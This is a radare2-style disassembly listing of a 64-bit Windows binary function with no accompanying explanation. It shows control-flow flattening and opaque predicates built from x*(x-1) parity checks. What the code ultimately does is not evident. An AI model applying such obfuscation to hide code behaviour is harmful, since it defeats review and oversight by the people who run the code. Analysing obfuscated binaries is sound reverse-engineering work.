mov ecx, eax
not ecx
and ecx, 0xad70ea1d
and eax, 0x528f15e2
or eax, ecx
xor eax, 0x528f15e2
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
mov edx, 0x9e529841
mov ebx, 0xaf440522
cmovne edx, ebx
test al, al
mov eax, edx
mov ebx, 0x9e529841
jmp 0x140029b53
cmp eax, 0x4acd4097
jg 0x140022cfc
cmp eax, 0x4a4524e2
je 0x140023d98
cmp eax, 0x4a487c0a
jne 0x14001ff30
sub rsp, 0x20
mov edx, 0xfa
lea rcx, [0x140086fc0]
lea r8, [0x14007b1f0]
lea r9, str.unknown_pc
call fcn.14002be10
add rsp, 0x20
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x9ab7f863
and ecx, 0x6548079c
or ecx, eax
mov eax, ecx
xor eax, 0x6548079c
and eax, 0xfffffffe
xor ecx, 0x9ab7f862
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x31ca4901
mov ebx, 0xa91d104c
cmovne eax, ebx
test dl, dl
mov edx, 0x31ca4901
jmp 0x14002ae0a
cmp eax, 0x2bdb3348
jg 0x140022d7e
cmp eax, 0x2a9da1de
je 0x140023e01
cmp eax, 0x2b36dc67
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
setne r8b
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
mov eax, ebx
or bl, dl
and dl, cl
and al, r8b
or al, dl
xor cl, r8b
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, al
mov ecx, 0x4782f67
mov edx, 0xb7426dce
cmovne ecx, edx
test bl, bl
mov edx, 0x4782f67
jmp 0x14002bab4
cmp eax, 0x6d251fb1
jg 0x140022dbe
cmp eax, 0x6a0e377f
je 0x140023e75
cmp eax, 0x6b410a77
jne 0x14001ff30
mov rcx, qword [rbp + 0xf0]
sub rsp, 0x20
call qword [0x140081bc8]
add rsp, 0x20
mov eax, 0x970989d4
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0xf33415a
jg 0x140022e59
cmp eax, 0xddf596a
je 0x140023edd
cmp eax, 0xee34757
jne 0x14001ff30
cmp byte [rbp + 0xd6], 0
mov eax, 0x78d6d8bb
mov ecx, 0xd61fae22
cmovne eax, ecx
mov ecx, dword [rbp + 0x118]
mov dword [rbp - 0x6c], ecx
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x5b9e4cb7
jg 0x140022ee9
cmp eax, 0x5b1bf243
je 0x140023ef0
cmp eax, 0x5b24a588
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x6f35b7d7
mov edx, eax
and edx, 0x90ca4828
or edx, ecx
xor edx, 0x90ca4829
and eax, 0xfffffffe
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x86b3c98c
and eax, 0x794c3673
or eax, ecx
xor eax, 0x794c3673
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov eax, edx
xor al, cl
mov ebx, 0x5d947012
mov eax, 0xf458f63f
cmovne ebx, eax
test dl, dl
mov eax, 0x5d947012
jmp 0x14002b8e8
cmp eax, 0x4003375f
jg 0x140022f8d
cmp eax, 0x3f5b699e
je 0x140023f3f
cmp eax, 0x3f8fbcc8
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x6ad35838
and ecx, 0x952ca7c7
or ecx, edx
xor ecx, 0x952ca7c6
xor eax, ecx
test eax, ecx
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
test cl, cl
mov ecx, 0x8b7c751a
mov ebx, 0x8c00168f
cmovne ecx, ebx
test dl, dl
mov edx, 0x8b7c751a
jmp 0x14002bd09
cmp eax, 0x7deaf082
jg 0x140022ff0
cmp eax, 0x7dc8f07d
je 0x140023fc1
cmp eax, 0x7dd7d126
jne 0x14001ff30
mov eax, 0x628df01b
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0xf7172e3c
je 0x14002401e
cmp eax, 0xf7d7ac65
je 0x140024095
cmp eax, 0xf9287782
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xe9295c6e
and edx, 0x16d6a391
or edx, ebx
xor edx, 0x16d6a390
xor eax, edx
test eax, edx
sete r8b
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov eax, ecx
xor al, dl
and al, cl
and bl, r8b
and cl, dl
or cl, bl
mov edx, eax
xor dl, cl
mov edx, 0xbf15a8e3
mov ebx, 0x2877710e
jmp 0x14002bc19
cmp eax, 0x40859697
je 0x140024127
cmp eax, 0x408e9d11
je 0x14002413c
cmp eax, 0x4166e813
jne 0x14001ff30
mov rcx, qword [rbp + 0xa0]
sub rsp, 0x20
call qword [0x140082020]
add rsp, 0x20
mov eax, 0x5b9e4cb8
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x12d91e88
je 0x140024190
cmp eax, 0x15daf472
je 0x1400241ed
cmp eax, 0x190757b2
jne 0x14001ff30
mov eax, dword [rbp + 0x120]
mov eax, 0x792aaeb3
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x5da9e3a0
je 0x140024202
cmp eax, 0x5e551003
je 0x140024217
cmp eax, 0x5eae8093
jne 0x14001ff30
mov eax, 0xef537fd8
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x566edf8
je 0x140024275
cmp eax, 0x5a4547e
je 0x14002428a
cmp eax, 0x5a664a8
jne 0x14001ff30
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x93c7c779
and edx, 0x6c383886
or edx, ecx
mov ebx, edx
xor ebx, 0x6c383886
xor edx, 0x9007c229
and edx, 0xd017fa2f
mov ecx, ebx
and ecx, 0x2fe805d0
or ecx, edx
xor ecx, 0x2fe805d1
and ebx, 0xfffffffe
or ebx, ecx
cmp ebx, 0xffffffff
setne cl
sete dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
xor al, dl
mov edx, ebx
and dl, cl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, al
test bl, bl
mov edx, 0xb06fa1cb
mov ebx, 0x6518e769
cmovne edx, ebx
test al, al
cmove edx, ebx
test cl, cl
mov eax, 0xb06fa1cb
jmp 0x14002a730
cmp eax, 0x4bd2d9ff
je 0x140024302
cmp eax, 0x4f120fde
je 0x140024372
cmp eax, 0x4f930401
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
sete al
cmp dword [0x1400820fc], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x992343e5
mov ebx, 0x962e7a39
cmovne ecx, ebx
test dl, dl
cmove ecx, ebx
test al, al
mov eax, 0x992343e5
jmp 0x14002b481
cmp eax, 0x2c1ec47a
je 0x140024412
cmp eax, 0x2ca45461
je 0x140024427
cmp eax, 0x2d8c2fbc
jne 0x14001ff30
mov eax, 0x8707c1c9
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x6e69b02f
je 0x14002448e
cmp eax, 0x703b902f
je 0x140024534
cmp eax, 0x70f5e9c1
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x57ff585e
and ecx, 0xa800a7a1
or ecx, edx
xor ecx, 0xa800a7a0
xor eax, ecx
test eax, ecx
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov eax, edx
xor al, cl
mov eax, 0xc6a86a3
mov ebx, 0x620adc4f
cmovne eax, ebx
test dl, dl
mov edx, 0xc6a86a3
jmp 0x14002a72b
cmp eax, 0xfdc111b4
je 0x14002454f
cmp eax, 0xfddf4018
je 0x140024560
cmp eax, 0xfe437df4
jne 0x14001ff30
mov dword [rbp - 0x70], 1
jmp 0x140028921
cmp eax, 0x45f84906
je 0x140024575
cmp eax, 0x45fe0dda
je 0x1400245c7
cmp eax, 0x4611b0af
jne 0x14001ff30
mov rcx, qword [rbp + 0xc8]
sub rsp, 0x20
call qword [0x140081bc8]
add rsp, 0x20
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x4e44a9f6
and edx, 0xb1bb5609
or edx, ebx
xor edx, 0x4e44a9f7
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
or cl, dl
xor bl, al
mov eax, ebx
xor al, cl
test bl, bl
mov edx, 0x9c1b3096
mov ebx, 0xec4e1bbc
cmovne edx, ebx
test cl, cl
mov ecx, 0x9c1b3096
jmp 0x140026be9
cmp eax, 0x225505e3
je 0x1400245dc
cmp eax, 0x23500a38
je 0x14002467d
cmp eax, 0x239cd041
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xd8f5f993
and ecx, 0x270a066c
or ecx, edx
xor ecx, 0xd8f5f992
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, eax
xor dl, cl
and cl, al
or cl, dl
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0xaef7279a
mov ebx, 0xfa3c0688
cmovne ecx, ebx
test dl, dl
cmove ecx, ebx
test al, al
mov eax, 0xaef7279a
jmp 0x14002b481
cmp eax, 0x64b732d6
je 0x140024692
cmp eax, 0x64ff7d46
je 0x1400246fb
cmp eax, 0x6518e769
jne 0x14001ff30
mov eax, dword [rbp + 0x120]
mov eax, 0xb06fa1cb
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0xb295a95
je 0x140024710
cmp eax, 0xb429fb3
je 0x140024725
cmp eax, 0xb60e467
jne 0x14001ff30
mov rax, qword [rbp - 8]
mov rax, qword [rbp - 8]
mov dword [rax], 0
mov rax, qword [rbp]
mov rbx, qword [rbp]
sub rsp, 0x20
mov r8d, 0x1f4
mov rcx, rbx
xor edx, edx
call fcn.140059c80
add rsp, 0x20
mov r9, qword [rbp - 8]
mov rcx, qword [rbp + 0xc8]
sub rsp, 0x20
mov rdx, rbx
mov r8d, 0xfa
call qword [0x140081fc8]
add rsp, 0x20
mov rax, qword [rbp + 8]
mov rax, qword [rbp + 8]
mov qword [rax], rbx
mov rdx, qword [rbp + 8]
sub rsp, 0x20
lea rcx, [0x1400871c0]
mov r8d, 0x32
xor r9d, r9d
call fcn.140060110
add rsp, 0x20
mov eax, 0xcb20a468
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x569c3993
je 0x14002473a
cmp eax, 0x56c18c97
je 0x1400247a3
cmp eax, 0x56d8b952
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x58d580bd
and edx, 0xa72a7f42
or edx, ebx
xor edx, 0xa72a7f43
xor eax, edx
test eax, edx
sete r8b
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov eax, ecx
xor al, dl
and al, cl
and bl, r8b
and cl, dl
or cl, bl
mov edx, eax
xor dl, cl
mov edx, 0xd318cbb1
mov ebx, 0xede31a12
jmp 0x14002bc19
cmp eax, 0x3b379fa7
je 0x140024817
cmp eax, 0x3c558eef
je 0x1400248b9
cmp eax, 0x3c5ed0f6
jne 0x14001ff30
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x5060a787
mov ebx, ecx
and ebx, 0xaf9f5878
or ebx, edx
xor ebx, 0xaf9f5879
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x9ad023c8
and ecx, 0x652fdc37
or ecx, edx
xor ecx, 0x652fdc37
sete r8b
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, dl
and cl, al
and bl, r8b
and al, dl
or al, bl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x4bd2d9ff
cmovne eax, esi
test cl, cl
mov ecx, 0x4bd2d9ff
cmove eax, ecx
test dl, dl
cmovne eax, esi
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x78386040
je 0x14002494d
cmp eax, 0x78d6d8bb
je 0x140024962
cmp eax, 0x792aaeb3
jne 0x14001ff30
mov eax, dword [rbp + 0x120]
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xbb2a8ba9
and edx, 0x44d57456
or edx, ebx
xor edx, 0x44d57457
xor eax, edx
test eax, edx
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor al, bl
test cl, cl
mov ecx, 0x8235b03e
mov edx, 0x190757b2
cmovne ecx, edx
test bl, bl
mov r15d, 0x190757b2
cmove ecx, edx
test al, al
mov eax, 0x8235b03e
jmp 0x14002b481
cmp eax, 0xfac2facb
je 0x1400249cf
cmp eax, 0xfb40e4eb
je 0x140024a52
cmp eax, 0xfb711351
jne 0x14001ff30
mov eax, 0x66f2f93
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x41d34f0f
je 0x140024a67
cmp eax, 0x41e41cf8
je 0x140024ae9
cmp eax, 0x42711002
jne 0x14001ff30
mov eax, 0x8390cd95
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x1e50c802
je 0x140024b5d
cmp eax, 0x1e55044b
je 0x140024b73
cmp eax, 0x1ec2a3a3
jne 0x14001ff30
mov eax, 0xece898ed
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x6195691d
je 0x140024c67
cmp eax, 0x61a2ed5c
je 0x140024cc4
cmp eax, 0x61ca6bdc
jne 0x14001ff30
mov rax, qword [rbp - 0x18]
sub rsp, 0x20
mov ecx, 2
xor edx, edx
call qword [0x140087228]
add rsp, 0x20
mov eax, 0xcee0fa02
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x872e8ca
je 0x140024d23
cmp eax, 0x888c9ab
je 0x140024ffa
cmp eax, 0x916c5b5
mov r13d, 0x9e681c4e
mov r12d, 0x5ad4d720
jne 0x14001ff30
mov eax, 0xff74f9d9
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x51c3087a
je 0x1400250bc
cmp eax, 0x530fd66a
je 0x140025136
cmp eax, 0x54088e03
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
setne al
cmp ecx, 9
setg dl
cmp ecx, 0xa
setl cl
xor cl, al
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, ecx
xor al, dl
mov eax, 0xaa933fa6
mov ebx, 0x752e52e0
cmovne eax, ebx
test dl, dl
mov edx, 0x752e52e0
jmp 0x140029797
cmp eax, 0x347f0a49
je 0x1400251bf
cmp eax, 0x3664d6c6
je 0x14002522e
cmp eax, 0x3666c984
jne 0x14001ff30
mov eax, 0xc417bedf
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x7485592a
je 0x1400252a5
cmp eax, 0x752e52e0
je 0x1400252d5
cmp eax, 0x75559f91
jne 0x14001ff30
mov eax, 0x12d91e88
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x814faa
je 0x1400252ea
cmp eax, 0x1579560
je 0x140025348
cmp eax, 0x193bde3
jne 0x14001ff30
mov al, byte [rbp - 0x62]
mov cl, byte [rbp - 0x61]
mov edx, eax
xor dl, 1
and dl, cl
xor cl, 1
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
or cl, dl
mov edx, ebx
xor dl, cl
test cl, 1
mov eax, 0xe5720c1d
mov ecx, 0xd006eebf
cmovne eax, ecx
test bl, 1
mov ebx, 0xe5720c1d
cmove eax, ebx
test dl, 1
jmp 0x14002bb92
cmp eax, 0x49e9d51c
je 0x1400253f4
cmp eax, 0x49ef1504
jne 0x14001ff30
cmp byte [rbp + 0x111], 0
mov eax, 0xbfa0082d
mov ecx, 0x41d34f0f
jmp 0x14002bb92
cmp eax, 0x2877710e
je 0x140025478
cmp eax, 0x294d6619
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0x74f32d4b
and edx, 0x8b0cd2b4
or edx, eax
xor edx, 0x8b0cd2b4
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ebx
xor al, cl
test bl, bl
mov edx, 0x23500a38
mov ebx, 0xab65d6aa
cmovne edx, ebx
test cl, cl
mov ecx, 0x23500a38
jmp 0x140026be9
cmp eax, 0x6992dc92
je 0x140025520
cmp eax, 0x699b28b9
jne 0x14001ff30
cmp dword [rbp + 0x124], 0
sete byte [rbp + 0x113]
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and cl, dl
and al, bl
or al, cl
mov ecx, ebx
and cl, dl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, al
mov ecx, 0x1e50c802
mov edx, 0x4691cdf4
cmovne ecx, edx
test bl, bl
mov edx, 0x1e50c802
jmp 0x14002bab4
cmp eax, 0xcf47dd3
je 0x140025535
cmp eax, 0xd4f495d
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x4a751a4e
and edx, 0xb58ae5b1
or edx, ebx
xor edx, 0x4a751a4f
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
or cl, dl
xor bl, al
mov eax, ebx
xor al, cl
test bl, bl
mov edx, 0x910a544f
mov ebx, 0xc3368c64
cmovne edx, ebx
test cl, cl
mov ecx, 0x910a544f
jmp 0x140026be9
cmp eax, 0x5a724125
je 0x1400255a1
cmp eax, 0x5ad4d720
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xbd5789cd
and edx, 0x42a87632
or edx, ebx
xor edx, 0x42a87633
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov eax, 0x5b9e4cb8
mov edx, 0x4166e813
cmovne eax, edx
test bl, bl
mov edx, eax
mov ebx, 0x5b9e4cb8
jmp 0x140029551
cmp eax, 0x3e6769d6
je 0x14002560e
cmp eax, 0x3ea15936
jne 0x14001ff30
mov eax, 0xf0c55360
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x7d0b2dbe
je 0x140025623
cmp eax, 0x7da28ea9
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
cmp edx, 0xffffffff
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and cl, dl
and al, bl
or al, cl
mov ecx, ebx
xor cl, dl
or bl, dl
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, al
mov ecx, 0x517715c9
mov edx, 0xa6df903c
cmovne ecx, edx
test bl, bl
mov edx, 0x517715c9
jmp 0x14002bab4
cmp eax, 0xfa82c373
je 0x14002568c
cmp eax, 0xfaafd883
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
not edx
and ebx, 0xf1d86623
mov eax, edx
and eax, 0xe2799dc
or eax, ebx
xor eax, 0xe2799dd
and edx, 0xfffffffe
or edx, eax
cmp edx, 0xffffffff
setne al
cmp ecx, 9
setg dl
cmp ecx, 0xa
setl cl
xor cl, al
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, ecx
xor al, dl
mov eax, 0x5ed76c04
mov ebx, 0xced5ace0
cmovne eax, ebx
test dl, dl
mov edx, 0xced5ace0
jmp 0x140029797
cmp eax, 0x41beca54
je 0x1400256c3
cmp eax, 0x41cad8d2
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xef78b52f
and edx, 0x10874ad0
or edx, eax
mov eax, edx
xor eax, 0x10874ad0
and eax, 0xfffffffe
xor edx, 0xef78b52e
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, bl
mov eax, 0xd54e0d46
mov edx, 0xb4fc442c
cmovne eax, edx
test cl, cl
mov ecx, 0xd54e0d46
jmp 0x14002b47c
cmp eax, 0x1cfd5af3
je 0x140025727
cmp eax, 0x1d0d453e
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xdf943ec3
and edx, 0x206bc13c
or edx, ebx
xor edx, 0x206bc13d
xor eax, edx
test eax, edx
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor al, bl
mov eax, 0x3b379fa7
mov edx, 0xc319678
cmovne eax, edx
test cl, cl
mov ecx, 0x3b379fa7
jmp 0x14002b47c
cmp eax, 0x616042fa
je 0x140025784
cmp eax, 0x61667d8a
jne 0x14001ff30
mov eax, 0xa147ea3c
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x698340c
je 0x140025790
cmp eax, 0x7ac5091
jne 0x14001ff30
mov eax, 0x286db50f
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x5036d1b6
je 0x140025803
cmp eax, 0x517715c9
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xb713de47
mov edx, eax
and edx, 0x48ec21b8
or edx, ecx
xor edx, 0x48ec21b9
and eax, 0xfffffffe
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xfa8c592e
and eax, 0x573a6d1
or eax, ecx
xor eax, 0x573a6d1
setne al
sete cl
cmp dword [0x1400820fc], 9
setg dl
xor cl, dl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, ecx
xor al, dl
test dl, dl
mov edx, 0x95af0086
mov ebx, 0xa6df903c
cmovne edx, ebx
test cl, cl
cmovne edx, ebx
test al, al
mov eax, 0x95af0086
jmp 0x14002979c
cmp eax, 0x31ca4901
je 0x140025818
cmp eax, 0x33ac5252
jne 0x14001ff30
mov eax, 0x41beca54
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x71abce14
je 0x140025889
cmp eax, 0x73d3786c
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x77c6bd87
mov ebx, 0xc64eea63
cmovne ecx, ebx
test dl, dl
mov edx, 0x77c6bd87
jmp 0x14002bd09
cmp eax, 0xff74f9d9
je 0x140025931
cmp eax, 0xffcb33c0
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov edx, ecx
xor dl, bl
test cl, cl
mov eax, 0xe42c97f0
mov ecx, 0xfa82c373
cmovne eax, ecx
test bl, bl
cmove eax, ecx
test dl, dl
mov ecx, 0xe42c97f0
jmp 0x14002b9c2
cmp eax, 0x49333ff5
je 0x14002599a
cmp eax, 0x49bf7201
jne 0x14001ff30
cmp byte [rbp + 0xd5], 0
mov eax, 0x38d5495d
mov ecx, 0xc78af3dc
jmp 0x14002bb92
cmp eax, 0x26616829
je 0x140025a35
cmp eax, 0x2692d7ce
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xc7ef9eea
and edx, 0x38106115
or edx, ebx
xor edx, 0x38106114
xor eax, edx
test eax, edx
sete al
cmp ecx, 0xa
setl dl
cmp ecx, 9
setg cl
xor cl, al
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov ebx, ecx
xor bl, dl
test dl, dl
mov eax, 0x9235ae45
mov edx, 0xb63d8751
cmovne eax, edx
test cl, cl
cmovne eax, edx
test bl, bl
mov ecx, 0x9235ae45
jmp 0x14002bb92
cmp eax, 0x6811e314
je 0x140025aa6
cmp eax, 0x688d97ed
jne 0x14001ff30
mov eax, 0x4fa78145
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0xc653a01
je 0x140025abc
cmp eax, 0xc6a86a3
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
test bl, bl
mov edx, 0x6a0e377f
mov ebx, 0xd32e008c
cmovne edx, ebx
test cl, cl
mov ecx, 0x6a0e377f
jmp 0x140026be9
cmp eax, 0x57dfbb25
je 0x140025ad1
cmp eax, 0x58602714
jne 0x14001ff30
mov eax, 0x569c3993
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x3d645178
je 0x140025b47
cmp eax, 0x3d7f0d49
jne 0x14001ff30
mov eax, 0x81ce5c9e
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x7a424be7
je 0x140025be1
cmp eax, 0x7a6d816d
jne 0x14001ff30
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xd00d05ef
and edx, 0x2ff2fa10
or edx, ecx
mov ecx, edx
xor ecx, 0x2ff2fa10
xor edx, 0x8005006f
and edx, 0xa1077a7f
mov ebx, ecx
and ebx, 0x5ef88580
or ebx, edx
xor ebx, 0x5ef88581
